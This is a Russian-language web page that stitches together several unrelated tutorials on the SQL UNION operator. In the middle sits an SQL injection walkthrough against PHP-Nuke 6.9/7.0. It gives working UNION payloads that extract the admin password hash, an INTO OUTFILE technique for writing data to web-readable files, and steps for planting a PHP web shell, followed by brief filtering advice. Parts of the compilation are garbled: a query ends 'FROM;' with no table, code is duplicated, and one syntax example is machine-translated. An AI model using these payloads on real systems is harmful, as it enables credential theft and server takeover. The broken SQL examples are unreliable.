Разное

Sql union пример: SQL. 14. UNION. [SQL.RU]

Содержание

UNION SQL Server — Oracle PL/SQL •MySQL •MariaDB •SQL Server •SQLite

В этом учебном пособии вы узнаете, как использовать оператор UNION в SQL Server (Transact-SQL) с синтаксисом и примерами.

Описание

Оператор SQL Server UNION используется для объединения наборов результатов из 2 или более операторов SELECT. Он удаляет повторяющиеся строки между различными операторами SELECT.
Каждый оператор SELECT в операторе UNION должен иметь одинаковое количество столбцов в наборах результатов с похожими типами данных.

Синтаксис

Синтаксис оператора UNION в SQL Server (Transact-SQL):

SELECT expression1, expression2, … expression_n
FROM tables
[WHERE conditions]
UNION
SELECT expression1, expression2, … expression_n
FROM tables
[WHERE conditions];

Параметры или аргументы

expression1, expression2, … expression_n — столбцы или вычисления, которые вы хотите получить.
tables — таблицы, из которых вы хотите получить записи. Должна быть хотя бы одна таблица, перечисленная в предложении FROM.
WHERE conditions — необязательный. Условия, которые должны быть выполнены для выбранных записей.

Примечание

  • В обоих операторах SELECT должно быть одинаковое количество выражений.
  • Соответствующие столбцы в каждом из операторов SELECT должны иметь похожие типы данных.
  • Оператор UNION удаляет повторяющиеся строки.
  • См. также оператор UNION ALL.

Пример возвращающий одно поле

Рассмотрим пример оператора UNION SQL Server, который возвращает одно поле из нескольких операторов SELECT (и оба поля имеют одинаковый тип данных).
Например:

SELECT product_id
FROM products
UNION
SELECT product_id
FROM;

SELECT product_id

FROM products

UNION

SELECT product_id

FROM;

В этом примере SQL Server UNION, если поле product_id находится как в products, так и в inventory таблицах, он появится один раз в вашем результирующем наборе. Оператор UNION удаляет дубликаты в SQL Server. Если вы не хотите удалять дубликаты, попробуйте использовать оператор UNION ALL.

Пример использования ORDER BY

Оператор UNION может использовать предложение ORDER BY для сортировки результатов запроса в SQL Server (Transact-SQL).
Например:

SELECT contact_id, contact_name
FROM contacts
WHERE site_name = ‘yandex.com’
UNION
SELECT company_id, company_name
FROM companies
WHERE site_name = ‘google.com’
ORDER BY 2;

SELECT contact_id, contact_name

FROM contacts

WHERE site_name = ‘yandex.com’

UNION

SELECT company_id, company_name

FROM companies

WHERE site_name = ‘google.com’

ORDER BY 2;

В этом примере UNION, поскольку имена столбцов различаются между двумя операторами SELECT, более выгодно ссылаться на столбцы в предложении ORDER BY по их позиции в наборе результатов. В этом примере мы отсортировали результаты по contact_name / company_name в порядке возрастания, как обозначено ORDER BY 2.

Поля result_name / company_name находятся позиции № 2 в результирующем наборе.

SQL. Объединение таблиц. Операция UNION с примерами

Операция UNION позволяет объединить несколько результатов выборки в один набор строк. Именно объединение строк отличает эту операцию от соединения таблиц через JOIN, которая присоединяет столбцы.

Рассмотрим пример.

Сначала придумаем две таблицы: с участниками забега; с работниками забега.

Таблица «Участники»

Имя_участника Место
Светлана 2
Алексей 4
Александр 1
Екатерина 5
Илья 3

Таблица «Работники»

Имя_работника Функция
Петр Менеджер
Иван Промоутер
Екатерина Врач
Кирилл Человек с водичкой

Теперь получим из таблиц уникальные имена всех людей.


--Сформируем первый набор из таблицы участников
select Имя_участника as Имя
from Участники
union
--Сформируем второй набор из таблицы работников
select Имя_работника
from Работники

Результат запроса:

Имя
Александр
Алексей
Екатерина
Иван
Илья
Кирилл
Петр
Светлана

Важно знать про UNION

Самый первый SELECT задает названия столбцам итоговой выборки.

Обратите внимание на то, что в вышеприведенном примере для уникальности имен не потребовалось использовать ключевое слово DISTINCT, т.к. операция UNION уникализирует строки после их объединения.
Если нужно получить все записи, в том числе одинаковые, то нужно использовать операцию UNION ALL вместо просто UNION.

Можно объединять более 2 наборов строк – просто продолжать писать «UNION SELECT …».

Количество столбцов должны совпадать во всех объединяемых наборах.

Типы данных для объединяемых столбцов должны совпадать или хотя бы иметь возможность неявно преобразовываться друг к другу. Например:

  • для набора №1 первый столбец имеет строковый тип VARCHAR, второй столбец числовой тип FLOAT;
  • для набора №2 первый столбец – VARCHAR, второй столбец – числовой тип INT.

Несмотря на то, что второй столбец для разных наборов отличается по типу данных, запрос все равно выполнится, т.к. INT будет преобразован к FLOAT.

Если требуется сделать сортировку полученной выборки, то предложение ORDER BY записывается в самом последнем селекте.


select col1, col2, col3
from Table1

union all

select col1, col2, col3
from Table2

union all

select col1, col2, col3
from Table3
order by col1 -- Сортируем весь результат

Если материалы office-menu.ru Вам помогли, то поддержите, пожалуйста, проект, чтобы я мог развивать его дальше.

Добавить комментарий

использование оператора для объединения результатов инструкций SELECT

От автора: условие/оператор SQL UNION используется для объединения результатов двух или более инструкций SELECT без включения повторяющихся строк.

Для использования условия UNION, каждый оператор SELECT должен содержать

Такое же количество выбранных столбцов

Такое же количество выражений столбцов

Тот же тип данных

Бесплатный курс по PHP программированию

Освойте курс и узнайте, как создать динамичный сайт на PHP и MySQL с полного нуля, используя модель MVC

В курсе 39 уроков | 15 часов видео | исходники для каждого урока

Получить курс сейчас!

Они должны располагаться в том же порядке

Но они не обязательно должны быть одинаковой длины.

Синтаксис

Основной синтаксис условия UNION следующий:

SELECT column1 [, column2 ]
FROM table1 [, table2 ]
[WHERE condition]
UNION
SELECT column1 [, column2 ]
FROM table1 [, table2 ]
[WHERE condition]

SELECT column1 [, column2 ]

FROM table1 [, table2 ]

[WHERE condition]

UNION

SELECT column1 [, column2 ]

FROM table1 [, table2 ]

[WHERE condition]

Здесь данное условие может быть любым выражением, заданным исходя из ваших потребностей.

Пример

Рассмотрим следующие две таблицы. Таблица 1 — Таблица CUSTOMERS выглядит следующим образом.

Таблица 2 — Таблица ORDERS выглядит следующим образом.

Теперь давайте объединим эти две таблицы в инструкции SELECT следующим образом:

SELECT ID, NAME, AMOUNT, DATE
FROM CUSTOMERS
LEFT JOIN ORDERS
ON CUSTOMERS.ID = ORDERS.CUSTOMER_ID
UNION
SELECT ID, NAME, AMOUNT, DATE
FROM CUSTOMERS
RIGHT JOIN ORDERS
ON CUSTOMERS.ID = ORDERS.CUSTOMER_ID;

SELECT  ID, NAME, AMOUNT, DATE

  FROM CUSTOMERS

  LEFT JOIN ORDERS

  ON CUSTOMERS.ID = ORDERS.CUSTOMER_ID

UNION

  SELECT  ID, NAME, AMOUNT, DATE

  FROM CUSTOMERS

  RIGHT JOIN ORDERS

  ON CUSTOMERS.ID = ORDERS.CUSTOMER_ID;

Это даст следующий результат —

Бесплатный курс по PHP программированию

Освойте курс и узнайте, как создать динамичный сайт на PHP и MySQL с полного нуля, используя модель MVC

В курсе 39 уроков | 15 часов видео | исходники для каждого урока

Получить курс сейчас!

Условие UNION ALL

Оператор UNION ALL используется для объединения результатов двух операторов SELECT, с включением повторяющихся строк.
Те же правила, которые применяются к условию UNION, будут применяться к оператору UNION ALL.

Синтаксис

Основной синтаксис UNION ALL следующий.

SELECT column1 [, column2 ]
FROM table1 [, table2 ]
[WHERE condition]
UNION ALL
SELECT column1 [, column2 ]
FROM table1 [, table2 ]
[WHERE condition]

SELECT column1 [, column2 ]

FROM table1 [, table2 ]

[WHERE condition]

UNION ALL

SELECT column1 [, column2 ]

FROM table1 [, table2 ]

[WHERE condition]

Здесь данное условие может быть любым выражением, заданным исходя из ваших потребностей

Пример

Рассмотрим следующие две таблицы, Таблица 1 — Таблица CUSTOMERS выглядит следующим образом.

Таблица 2 — таблица ORDERS выглядит следующим образом.

Теперь давайте объединим эти две таблицы в инструкции SELECT следующим образом:

SELECT ID, NAME, AMOUNT, DATE
FROM CUSTOMERS
LEFT JOIN ORDERS
ON CUSTOMERS.ID = ORDERS.CUSTOMER_ID
UNION ALL
SELECT ID, NAME, AMOUNT, DATE
FROM CUSTOMERS
RIGHT JOIN ORDERS
ON CUSTOMERS.ID = ORDERS.CUSTOMER_ID;

SELECT  ID, NAME, AMOUNT, DATE

  FROM CUSTOMERS

  LEFT JOIN ORDERS

  ON CUSTOMERS.ID = ORDERS.CUSTOMER_ID

UNION ALL

  SELECT  ID, NAME, AMOUNT, DATE

  FROM CUSTOMERS

  RIGHT JOIN ORDERS

  ON CUSTOMERS.ID = ORDERS.CUSTOMER_ID;

Это даст следующий результат:

Существует два других условия или оператора похожих на условие UNION.р>

Условие SQL INTERSECT − используется для объединения двух инструкций SELECT, но возвращает только строки из первого оператора SELECT, которые совпадают со строкой из второго оператора SELECT.

Условие SQL EXCEPT − объединяет два оператора SELECT и возвращает строки из первого оператора SELECT, которые не возвращаются вторым оператором SELECT.

Источник: https://www.tutorialspoint.com/

Редакция: Команда webformyself.

Бесплатный курс по PHP программированию

Освойте курс и узнайте, как создать динамичный сайт на PHP и MySQL с полного нуля, используя модель MVC

В курсе 39 уроков | 15 часов видео | исходники для каждого урока

Получить курс сейчас!

Хотите изучить MySQL?

Посмотрите курс по базе данных MySQL!

Смотреть

Использование UNION в SQL

Вы здесь:
Главная — MySQL — SQL — Использование UNION в SQL


Я уже писал о выборке из нескольких таблиц на SQL. И там вывод одной таблицы зависил от содержимого другой. Но бывает нужно, когда требуется полная независимость вывода одной таблицы от другой. Всё, что хочется — это просто в одном запросе вытащить записи сразу из нескольких таблиц, не более того. И вот для этого используется в SQL ключевое слово UNION.

Давайте с Вами разберём SQL-запрос с использованием UNION:


SELECT `login`, `amount` FROM `employers` UNION SELECT `login`, `amount` FROM `staff`;

Данный запрос вернёт логины и суммы на счетах всех работодателей и сотрудников некоего сайта. То есть данные были в разных таблицах, но их схожесть позволяет вывести их сразу. Отсюда, кстати, идёт правило использования UNION-запросов: число и порядок полей должно совпадать во всех частях запроса.

Таких UNION-частей может быть очень много, но самое главное после последнего UNION надо обязательно поставить точку с запятой.

Ещё одной хорошей особенностью UNION является отсутствие повторений. Например, если один и тот же человек находится и среди сотрудников, и среди работодателей, разумеется, с той же самой суммой на счету, то в выборке он будет не 2 раза, а только 1, что, как правило, и требуется. А если всё-таки нужны повторения, то тогда есть UNION ALL:


SELECT `login`, `amount` FROM `employers` UNION ALL SELECT `login`, `amount` FROM `staff`;

Вот так используется достаточно простой оператор UNION в SQL-запросе, упрощающий процедуру вывода сразу из множества таблиц однотипных данных, что в свою очередь очень хорошо скажется на производительности.


  • Создано 14.12.2012 10:31:16



  • Михаил Русаков

Предыдущая статья Следующая статья

Копирование материалов разрешается только с указанием автора (Михаил Русаков) и индексируемой прямой ссылкой на сайт (http://myrusakov.ru)!

Добавляйтесь ко мне в друзья ВКонтакте: http://vk.com/myrusakov.
Если Вы хотите дать оценку мне и моей работе, то напишите её в моей группе: http://vk.com/rusakovmy.

Если Вы не хотите пропустить новые материалы на сайте,
то Вы можете подписаться на обновления: Подписаться на обновления

Если у Вас остались какие-либо вопросы, либо у Вас есть желание высказаться по поводу этой статьи, то Вы можете оставить свой комментарий внизу страницы.

Порекомендуйте эту статью друзьям:

Если Вам понравился сайт, то разместите ссылку на него (у себя на сайте, на форуме, в контакте):


  1. Кнопка:

    <a href=»https://myrusakov.ru» target=»_blank»><img src=»https://myrusakov.ru/images/button.gif» alt=»Как создать свой сайт» /></a>

    Она выглядит вот так:


  2. Текстовая ссылка:
    <a href=»https://myrusakov.ru» target=»_blank»>Как создать свой сайт</a>

    Она выглядит вот так: Как создать свой сайт

  3. BB-код ссылки для форумов (например, можете поставить её в подписи):

    [URL=»https://myrusakov.ru»]Как создать свой сайт[/URL]

Использование команды UNION | SQL

Итак команда union используется для обьединения вывода двух или более запросов select.
Особенности команды которые придется учитывать:
Когда два (или более) запроса подвергаются объединению, их столбцы вывода должны быть совместимы для объединения. Это означает, что каждый запрос должен указывать одинаковое количество столбцов и в том же порядке и каждый должен иметь тип, совместимый с каждым.
Также данная возможность появилать только в mysql версии 4.0 т.е. на более ранних версиях БД работать не будет.

Вид команды таков:

select a1, a2, a3 from table1 union select b1, b2, b3 from table2;

Где a1 и b1, a2 и b2, a3 и b3 должны быть одинакового типа.

Например:

select text11, text12, int11 from t1 union select text21, text22, int22 from t2;

Думаю наиболее удобно будет рассмотреть работу с данной командой на конкретном примере. Помучить предлагаю php-nuke версии 7.0 final. Советую скачать и поставить данный движек. Итак устанавливаем и настраиваем нюку. Запускаем mysql с ведением логов и приступаем.

================================================
—/// sql injection на примере php-nuke
================================================

Итак разбираться будем с модулем news

http://127.0.0.1/nuke7/modules.php?name=news&new_topic=1

Вот такой запрос выводит первый топик на движке. Попробуем поставить кавычку к значению new_topic, соответственно теперь запрос становится таким:

http://127.0.0.1/nuke7/modules.php?name=ne…ew_topic=1′

Отдаем в браузере запрос и смотрим логи mysql:

10 query select topictext from nuke_topics where topicid=’1»
^!!!

10 query select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm,
score, ratings from nuke_stories where topic=’1» order by sid desc limit 10
^!!!

Вот тут наша ковычка себя и проявила =)
Видите: where topicid=’1»

Рассмотрим первый запрос:

select topictext from nuke_topics where topicid=’1»
Выборка topictext из таблицы nuke_topics где topicid=1′
Теперь посмотрим тип topictext:

+————————-+
| topictext | varchar(40) |
+————————-+

Отлично теперь попробуем использовать команду union:
Отдаем в браузере запрос:

modules.php?name=news&new_topic=999' union select pwd from nuke_authors/*

Отлично =) Вместо названия раздела мы видим хеш пароля админа. Что же произошло.
Опять смотрим логи mysql:

14 query select topictext from nuke_topics where topicid='999' union select pwd from nuke_authors/*'

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
вот он наш запрос

Вот оно. Мы делаем выборку из nuke_topics где topicid=’999′ и данный запрос естественно ничего не возвращает т.к. такого топика у нас нет и делаем выборку pwd из таблицы nuke_authors и данный запрос возвращает хеш пароля первого пользователя который и подставляется в название раздела. Заметьте что если мы укажем существующий номер топика то результата мы не получим т.к. будет подставлено название этого топика а не хеш. Поэтому мы и используем номер 999. Вот первая уязвимость =)

Давайте рассмотрим второй запрос: ( запрос разбит на несколько строк для удобства )

select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
from nuke_stories
where topic=’1» <— Вот тут мы можем вставить свой sql-код
order by sid desc limit 10

Посмотрим какие типы данных у нас в таблице nuke_stories:

+————+—————+
| sid | int(11) |
+————+—————+
| catid | int(11) |
+————+—————+
| aid | varchar(30) |
+————+—————+
| title | varchar(80) |
+————+—————+
| time | datetime |
+————+—————+
| hometext | text |
+————+—————+
| bodytext | text |
+————+—————+
| comments | int(11) |
+————+—————+
| counter | mediumint(8) |
+————+—————+
| topic | int(3) |
+————+—————+
| informant | varchar(20) |
+————+—————+
| notes | text |
+————+—————+
| acomm | int(1) |
+————+—————+
| score | int(10) |
+————+—————+
| ratings | int(10) |
+————+—————+

Теперь также просмотрим таблицу nuke_authors на типы записей и составим запрос с union таким образом чтобы типы из таблицы nuke_stories совпадали с типами из nuke_authors и запрос примет вид:

modules.php?name=news&new_topic=999′ union select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter from nuke_authors /*

Отдаем запрос в браузере и видим топик с содержанием хеша пароля =) Тут уже не обязательно указывать несуществующий топик т.к. все работает и с топиком существующим в базе.

Если посмотреть логи БД то можно увидеть что был отдан вот такой запрос к базе данных: (запрос разбит на 4 блока для большего удобства)

select sid, catid, aid, title, time, hometext, bodytext, comments, counter, topic, informant, notes, acomm, score, ratings
from nuke_stories
where topic='1'

union

select counter, counter, pwd, pwd, counter, pwd, pwd, counter, counter, counter, pwd, pwd, counter, counter, counter
from nuke_authors

/*
' order by sid desc limit 10

Как вы можете видеть в обоих запросах количество и типы столбцев совпадают.
Запрос специально разбит на 4 блока:
1 блок — это первый запрос select выбирающий из таблицы nuke_stories
2 блок — команда обьединения запросов union
3 блок — второй запрос select который выбирает хеш пароля и счетчик из таблицы nuke_authors
4 блок — все что идет после «/*» будет рассматриваться как комментарий

================================================
—/// Вывод данных в файл
================================================

К слову сказать, в инете полно практически одинаковых статей про sql-injection и все они рассказывают про атаки данного типа при использовании ms sql в качестве сервера базы данных. Конечно сервак от мелкомягких дает поистинне потрясающие возможности для взлома всего сервера за счет возможностей разделения запросов в строке и прочих фишек но это тема другой статьи а у нас на повестке mysql в котором все не так просто, но это совсем не плохо, это хорошо т.к. с mysql возится сложнее а значит интереснее =) А к чему я это сказал? Да просто в тех статьях описывается взлом при авторизации и авторизация там происходит примерно таким запросом:

select * from users where login='blabla' and password='blabla';

Изврат! Не правда-ли? Абсолютно убогий способ работы с базой данных. Зачем спрашивается выбирать все данные из таблицы? Бррр что-то меня вообще не туда унесло = Мы лучше рассмотрим авторизацию в php-nuke 6.9. в котором процесс авторизации сделан более грамотно и красиво. Обратите внимание на версию нюки! Дело в том что в версии 7.0 не удастся через форму внедрить код с помощью кавычки т.к. там эта бага прикрыта. В версии 7.0 есть возможность внедрения кода в этом модуле посредством cookie но мы пока что не будем трогать cookie т.к. на эту тему статья будет чуть позднее а рассмотрим внедрение кода просто через форму авторизации. Для этого и пришлось использовать более раннюю версию. Как пример.
Запускаем http://127.0.0.1/phpnuke69/admin.php и видим окошко для ввода логина и пароля. Ну вы наверно уже догадались что мы будем делать? Конечно вписываем в качестве логина admin’ (не забудьте про кавычку) и 123 в кач-ве пароля. Хммм… Не пускает =) Ну чтож всякое бывает =) Наверно потому что логин и пароль в базе другие совсем =)))
Чтож опять лезем смотреть логи mysql:

1 query select pwd, admlanguage from nuke_authors where aid='admin''

^ — вот она наша родная кавычка =)

Стоп! Вы уже побежали вставлять union и select? Рано. Дело в том что в данном модуле не происходит никакого вывода полученных данных из БД. Естественно раз нет вывода то и вывести полученный хеш нам некуда. Что же делать. К счастью в mysql есть замечательная опция сохранения выбранных из таблицы данных в файл. Производится данный финт ушами следующим образом:

select * from table into outfile 'путь_к_файлу/файл';

Попробуем сохранить хеш пароля админа в файле. Форма ввода не позволяет ввести длинный логин поэтому придется передавать данные через строку браузера:

http://127.0.0.1/phpnuke69/admin.php?op=lo…&aid=admin’ into outfile ‘pwd.txt

После запроса данной строки в БД исполняется:

9 query select pwd, admlanguage from nuke_authors where aid='admin' into outfile 'pwd.txt'

И хеш пароля пользователя «admin» оказывается записан в файл pwd.txt. Но вся проблемма в том что файл создается не в корне www-сервера а в каталоге базы данных. Для создания файла в каталоге доступном через web необходимо указывать полный путь:

/phpnuke/admin.php?op=login&pwd=123&aid=admin’ into outfile ‘././././www/www1/phpnuke69/pwd.txt

И теперь уже:

http://127.0.0.1/phpnuke69/pwd.txt

Выдаст нам хеш админа.
Конечно необходимо учитывать права доступа и не факт что вы сможете записать файл в нужное место но это сейчас не важно. Главное что мы смогли сформировать нужный запрос и создать файл.

================================================
—/// Получение http-шелла
================================================

Конечно базы данных это хорошо, это интересно и познавательно, но хочется чего то большего =) Их есть у меня =)
Как мы уже разобрались файлы мы создавать можем. А ведь в файл можно записать любую инфу из базы данных, почему бы не воспользоваться этим и не создать себе маленький такой http-шелл посредством создания php файла с незатейливым и наверно всем знакомым содержанием:

Итак воспользовавшись одним из описанных выше методов вам удалось все-таки получить хеш пароля админа и вы благополучно залогинились как админ движка, расшифровав пароль, либо вставив его в кукис (тема про куки будет более подробно рассмотрена в следующей статье) Теперь вам необходимо каким-либо образом вставить php-код в одно из значений в базе данных а потом вывести его в файл. Вот способ которым воспользовался я:

Логинимся под админом. В меню администрирования входим в раздел topics. Создаем новый топик.
В поле topic name пишем passthru
в поле topic text пишем:

Теперь вспомним уязвимость описанную выше в этой статье, а именно:

modules.php?name=news&new_topic=999′ union select pwd from nuke_authors/*
select topictext from nuke_topics where topicid=’999′ union select pwd from nuke_authors/*’

Теперь нам не надо получать хеш пароля, а надо сохранить запись из столбца «topictext»

http://127.0.0.1/phpnuke/modules.php?name=…ew_topic=2′ into outfile ‘shell.php’ /*

где 2 — номер нового топика , shell.php — файл который будет создан

Не забудьте прописать путь к файлу.
После выполнения данного запроса будет создан файл shell.php содержащий нужный
нам пхп-код.

================================================
—/// Методы защиты
================================================

Если вы все-таки прочитали статью то наверно уже поняли что единственно верной защитой является фильтрация всех данных принимаемых от пользователя. Наилучшим решением будет разрешить использование лишь букв и цифр. В случае если принимаемое значение должно быть цифрой, проверяейте его перед помещением в sql запрос.
Не стоит надеятся на фильтрацию лишь одной кавычки т.к. во-первых атакующий может использовать другие символы для если не внедрения кода то хотя бы для получения дополнительной информации (например о пути к сайту) из сообщений о ошибках. И во-вторых если скрипт отфильтровывает какой-либо символ, то его можно заменить конструкцией +char(0xКОД_СИМВОЛА)+.
Также обращу внимание что фильтровать надо все данные пришедшие от пользователя в запросах, в куках, в общем вообще все!

================================================
—/// Заключение
================================================

Ну вот и все. Я постарался рассмотреть наиболее информативные примеры атак типа sql-injection. Надеюсь теперь вы сможете избежать ошибок при кодинге скриптов работающих с базами данных. Удачи.
p.s. Вся информация в данной статье служит исключительно в образовательных целях. Эта статья всего лишь попытка помочь авторам скриптов и указать на возможные ошибки при работе с базами данных.Так сказать, врага нужно знать в лицо!

телеграм канал. Подпишись, будет полезно!

Использование Union вместо OR / Хабр

Иногда медленные запросы можно исправить, немного изменив запрос. Один из таких примеров может быть проиллюстрирован, когда несколько значений сравниваются в предложении WHERE с помощью оператора OR или IN. Часто OR может вызывать сканирование индекса или таблицы, которая может не быть предпочтительным планом выполнения с точки зрения потребления ввода-вывода или общей скорости запросов.

Многие переменные вступают в игру, когда оптимизатор запросов создает план выполнения. Эти переменные включают в себя множество характеристик оборудования, настроек экземпляра, настроек базы данных, статистики (таблица, индекс, auto-generated), а также способ написания запроса. Здесь мы меняем способ написания запроса. Каким бы неожиданным это ни казалось, даже если два разных запроса могут возвращать одни и те же результаты, путь, по которому они идут, может быть совершенно разным в зависимости от формата запроса.

UNION vs OR

В большей части моего опыта работы с SQL Server, OR обычно менее эффективен, чем UNION. То, что обычно происходит с OR, это то, что он чаще вызывает сканирование. Это порой может быть лучший путь для некоторых случаев, и я оставлю это отдельной статье, но в целом я обнаружил, что когда затрагивается большое количество записей — это является основной причиной медлительности. Итак, давайте начнем наше сравнение.

Вот наш оператор OR:

SELECT SalesOrderID, *
FROM sales.SalesOrderDetail
WHERE ProductID = 750 OR ProductID = 953

Из этого плана выполнения мы видим, что мы выполняем сканирование 121 000 строк. (Вы не можете видеть количество строк, но это так).

Теперь выполним тот же запрос, но написанный с использованием UNION вместо OR:

SELECT [SalesOrderID], *
FROM sales.SalesOrderDetail
WHERE ProductID = 750
UNION
SELECT [SalesOrderID], *
FROM sales.SalesOrderDetail
WHERE ProductID = 953

Здесь мы видим две ветви операций. Одна ветвь затрагивает 358 строк, а другая — 346 строк. Обе ветви встречаются для выполнения операции конкатенации, объединяющей оба набора результатов. У нас есть два отдельных поиска, но у нас также есть поиск ключей для получения необходимого списка SELECT. Это не было необходимо для операции сканирования, потому что мы все равно затрагивали все строки в операции сканирования, таким образом, данные были получены во время сканирования, а не после. Это связано с индексом и нужными нам строками, а не с UNION или OR. Однако я скажу, что выборка (select) также является фактором выбора поиска против сканирования (seek vs scan), но мы проигнорируем это в этой статье.

Объяснение

Почему UNION вызывает больше поисков вместо сканирований, потому что каждая операция должна удовлетворять определенному требованию селективности, чтобы претендовать на поиск. (Селективность — это уникальность конкретного фильтруемого столбца). OR происходит в одной операции, так что, когда селективность для каждого столбца объединяется и она превышает определенный процент, то сканирование считается более эффективным.

Поскольку UNION по умолчанию выполняет отдельную операцию для каждого оператора, селективность каждого столбца не объединяется, давая ему больше шансов на выполнение поиска. Теперь, поскольку UNION выполняет две операции, они должны сопоставить свои результирующие наборы, используя вышеописанную операцию конкатенации. Как правило, это не дорогостоящая операция.

Следует также отметить, что предложение OR работает так же, как оператор IN.

Надеюсь, этот совет поможет. Я считаю, что это очень ценно при работе с системами, требующими высокого параллелизма.

Union (SQL) — это… Что такое Union (SQL)?

Правильный заголовок этой статьи — UNION. Он показан некорректно из-за технических ограничений.

В языке SQL ключевое слово UNION применяется для объединения результатов двух SQL-запросов в единую таблицу, состоящую из схожих строк. Оба запроса должны возвращать одинаковое число столбцов и совместимые типы данных в соответствующих столбцах. Данный оператор был описан уже в самом первом стандарте SQL — SQL/89[1].

Синтаксис

Оператор указывается между запросами. В упрощенном виде это выглядит следующим образом:

<запрос1>
UNION [ALL]
<запрос2>
UNION [ALL]
<запрос3>
 .....;

По умолчанию любые дублирующие записи автоматически скрываются, если не использовано выражение UNION ALL.

Необходимо отметить, что UNION сам по себе не гарантирует порядок строк. Строки из второго запроса могут оказаться в начале, в конце или вообще перемешаться со строками из первого запроса. В случаях, когда требуется определенный порядок, необходимо использовать выражение ORDER BY.

Правила использования

Существуют два основных правила, регламентирующие порядок использования оператора UNION:

  • Число и порядок извлекаемых столбцов должны совпадать во всех объединяемых запросах;
  • Типы данных в соответствующих столбцах должны быть совместимы.

Определения столбцов, данные из которых извлекаются в объединяемых запросах, не должны совпадать, однако должны быть совместимыми путем неявного преобразования. Если типы данных различаются, то получившийся тип данных определяется на основе правил очередности типов данных (для конкретной СУБД). Если типы совпадают, но различаются в точности, масштабе или длине, результат определяется на основе правил, используемых для объединения выражений (для конкретной СУБД)[2]. Типы не определенные ANSI, такие как DATA и BINARY, обычно должны совпадать с другими столбцами такого же нестандартного типа[3].

В Microsoft SQL Server столбцы с типом данных XML должны быть эквивалентными. Все столбцы должны либо иметь тип, определенный в XML-схеме, либо быть нетипизированными. Типизированные столбцы должны относиться к одной и той же коллекции XML-схем[2].

Еще одно ограничение на совместимость — это запрет пустых значений (NULL) в любом столбце объединения, причем эти значения необходимо запретить и для всех соответствующих столбцов в других запросах объединения, поскольку пустые значения (NULL) запрещены с ограничением NOT NULL. Кроме того, нельзя использовать UNION в подзапросах, а также нельзя использовать агрегатные функции в предложении SELECT запроса в объединении (однако большинство СУБД пренебрегают этими ограничениями)[3].

Применение

UNION может быть весьма полезным в приложениях для хранения данных, где таблицы редко бывают абсолютно нормализированы. Простой пример: в базе есть таблицы sales2005 и sales2006, обладающие идентичной структурой, но разделены ради повышения производительности. Запрос со словом UNION позволяет объединить результаты из обеих таблиц.

Также стоит отметить, что UNION ALL работает быстрее, чем просто UNION, поскольку по умолчанию при использовании оператора UNION проводится дополнительная фильтрация результата аналогичная SELECT DISTINCT, а при использовании UNION ALL — нет[4].

Примеры

Использование UNION при выборке из двух таблиц

Даны две таблицы:

sales2005
person amount
Иван 1000
Алексей 2000
Сергей 5000
sales2006
person amount
Иван 2000
Алексей 2000
Петр 35000

При выполнении следующего запроса:

(SELECT * FROM sales2005)
UNION
(SELECT * FROM sales2006);

получается результирующий набор, однако порядок строк может произвольно меняться, поскольку ключевое выражение ORDER BY не было использовано:

person amount
Иван 1000
Алексей 2000
Сергей 5000
Иван 2000
Петр 35000

В результате отобразятся две строки с Иваном, так как эти строки различаются значениями в столбцах. Но при этом в результате присутствует лишь одна строка с Алексеем, поскольку значения в столбцах полностью совпадают.

Использование UNION ALL при выборке из двух таблиц

Применение UNION ALL дает другой результат, так как дубликаты не скрываются. Выполнение запроса:

(SELECT * FROM sales2005)
UNION ALL
(SELECT * FROM sales2006);

даст следующий результат, выводимый без упорядочивания ввиду отсутствия выражения ORDER BY:

person amount
Иван 1000
Иван 2000
Алексей 2000
Алексей 2000
Сергей 5000
Петр 35000

Использование UNION при выборке из одной таблицы

Аналогичным образом можно объединять два разных запроса из одной и той же таблицы (хотя вместо этого, как правило, необходимые параметры комбинируют в одном запросе при помощи ключевых слов AND и OR в условии WHERE):

(SELECT person, amount FROM sales2005 WHERE amount=1000)
UNION
(SELECT person, amount FROM sales2005 WHERE person LIKE 'Сергей');

В результате получится:

person amount
Иван 1000
Сергей 5000

Использование UNION как внешнее объединение

При помощи UNION можно создавать также полные внешние объединения (иногда используется в случае отсутствия встроенной прямой поддержки внешних объединений):

(SELECT *
FROM   employee 
       LEFT JOIN department 
          ON employee.DepartmentID = department.DepartmentID)
UNION
(SELECT *
FROM   employee
       RIGHT JOIN department
          ON employee.DepartmentID = department.DepartmentID);

Но при этом необходимо помнить, что это все же не одно и то же, что и оператор JOIN.

См. также

Примечания

Пункт 4 — нерабочая ссылка (на 08.11.2012)

Ссылки

Общее описание
Реализация в MS SQL Server
Реализация в MySQL
Реализация в PostgreSQL
Реализация в Oracle
Реализация в Informix

SQL Union против Union All в SQL Server

В этой статье объясняются операторы SQL Union и vs Union All в SQL Server. Мы также рассмотрим разницу между этими двумя операторами и различные варианты использования.

Обзор оператора SQL Union

В реляционной базе данных мы храним данные в таблицах SQL. Иногда нам нужно выбрать данные из нескольких таблиц и объединить набор результатов всех операторов Select. Мы используем оператор SQL Union для объединения двух или более наборов результатов оператора Select.

Синтаксис оператора SQL Union

ВЫБРАТЬ столбец1, Столбец2 … Столбец (N) ИЗ таблицыA

СОЕДИНЕНИЕ

ВЫБРАТЬ столбец1, Столбец2 … Столбец (N) ИЗ таблицыB;

Чтобы написать запрос с помощью SQL Union Operator, нам нужно позаботиться о следующих моментах.

  • Оба оператора Select должны иметь одинаковое количество столбцов.
  • Столбцы в обоих операторах Select должны иметь совместимые типы данных.
  • Порядок столбцов также должен совпадать в операторе Select
  • Мы можем определить Group By и с предложением с каждым оператором Select.Их нельзя использовать с набором результатов
  • Мы не можем использовать предложение Order By с отдельным оператором Select. Мы можем использовать его с набором результатов, сгенерированным из объединения обоих операторов Select

На следующем снимке экрана мы можем понять оператор SQL UNION, используя диаграмму Венна.

  • Таблица A со значениями 1,2,3,4
  • СОЗДАТЬ ТАБЛИЦУ TableA (

    ID INT

    );

    Go

    INSERT INTO TableA

    VALUES (1), (2), (3), (4);

  • Таблица B со значениями 3,4,5,6
  • СОЗДАТЬ ТАБЛИЦУ TableB (

    ID INT

    );

    Go

    INSERT INTO TableB

    VALUES (3), (4), (5), (6);

Если мы используем оператор SQL Union между этими двумя таблицами, мы получим следующий результат.

SELECT ID

FROM TableA

UNION

SELECT ID

FROM TableB;

Выход: 1, 2, 3,4,5,6

